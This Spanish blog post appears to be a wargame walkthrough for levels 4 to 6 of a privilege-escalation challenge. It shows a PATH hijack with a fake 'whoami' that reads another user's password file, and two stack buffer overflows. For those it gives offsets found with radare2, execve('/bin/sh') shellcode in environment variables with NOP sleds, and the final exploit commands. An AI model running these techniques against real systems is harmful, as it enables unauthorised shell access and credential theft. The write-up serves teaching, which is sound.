En el anterior post resolvimos con éxito los 3 primeros retos, y en este haremos otros 3 más.
Reto 4
Mirando el código fuente nos damos cuenta de que es este reto es muy sencillo:
Vemos que hace un popen a whoami. Para poder usar radare2 en la máquina remota habreis tenido que hacer:
Para que al escribir "r2" ejecuta la versión más reciente y no la que viene instalada por defecto. Pues aquí nos encontramos lo mismo, no queremos que ejecute el programa "whoami" original, queremos que ejecute uno nuestro que nos de la pass. Símplemente creamos un archivo llamado "whoami" en /tmp/Lo-Que-Sea y que éste haga un "cat /home/level5/.pass". Despues hacemos un export PATH=.... hacia la ruta donde esté nuestro archivo y ejecutamos level04.
export PATH=/usr/local/radare/bin:$PATH
Reto 5
Si miramos el código fuente vemos que se trata de un buffer overflow de los clásicos, de los que aparecen en todos los tutoriales.
Para hacerlo rápido usaremos los script "seekHdestroy.pl" que hice para esta entrada.
Lo que haremos será ejecutar el script para que nos genere el patrón
perl seekHdestroy.pl --seek
Copiamos el patrón y abrimos level05 con r2
r2 -d ./level05 AquiElPatrónHacemos "dc" para que continúe la ejecución y se parará cuando dé el SIGSEGV. En ese momento hacemos "dr" para ver los registros:
![]() |
A la derecha tenemos r2 y a la izquierda seekHdestroy.pl |
Copiamos lo que hay en EIP y se lo pasamos al script con la opción "--destroy=" y éste nos dirá cuanta basura deberemos de meter para poder controlar EIP -vemos que es 140-. A sabiendas de esto lo normal sería buscar en memoria donde empieza el buffer y proceder a crear un string del tipo [RELLENO][NOPS][SHELLCODE][DIRECCION DONDE HAY NOPs] . En vez de hacer eso, ca0s me recomendó que hiciera otra cosa: meter los NOPs + Shellcode dentro de una variable de entorno y después símplemente meterle al programa como parámetro un string con los caracteres necesarios + dirección donde están los NOPs. O sea:
export DERP=$(perl -e 'print "\x90" x 200 ."\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"')
Para ver en qué dirección de memoria queda el shellcode podemos obtar por crear un programa que nos lo indique,o mirar con el propio r2 ya que lo tenemos a mano. Ponemos un breakpoint donde sea, ejecutamos "dc" y "px 1000 @ esp" (equivale a x/ de gdb). Buscamos donde están los nops y copiamos esa dirección:
En 0xbffffe80 ya estaríamos cayendo en medio de los NOPs. Armamos el exploit y lo ejecutamos:
./level05 $(perl -e 'print "A" x 140 . "\x80\xfe\xff\xbf";')
Reto 6
El código fuente es más largo y no me cabe en una foto, asi que lo subo a paste bin (http://pastebin.com/uwJvbh5r) . Estamos ante otro BoF. Esta vez el shellcode lo metí en la propia variable de entorno que usa, LANG:
export LANG=$(perl -e 'print "fr" . "\x90" x 100 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";')
Lo primero es ver por donde peta (vemos que hay una concatenación entre los dos argumentos y que es donde tendremos el BoF, pero hacemos la prueba visual), abrimos con r2 -d ./level06 [40 "A"] [32 "B"], y lo mismo que antes "dc" y cuando suelte el SIGSEGV "dr" para mirar los registros
Vemos como efectivamente en EIP hay "B"s (0x42424242). Bueno, ¿cuantos caracteres son necesarios antes de tomar el control de EIP?. Hacemos lo mismo que en nivel 5, usamos seekHdestroy:
Vemos que necesitamos 26 caracteres antes de poner la dirección donde están los NOPs. Al igual que en el ejemplo anterior, ponemos un breakpoint y buscamos:
Con lo que finalmente conseguiremos ejecutar /bin/sh y obtener el flag:
./level06 $(perl -e 'print "A" x 40 . " " . "B" x 26 . "\xec\xfe\xff\xbf";')
Byt3z!
No hay comentarios:
Publicar un comentario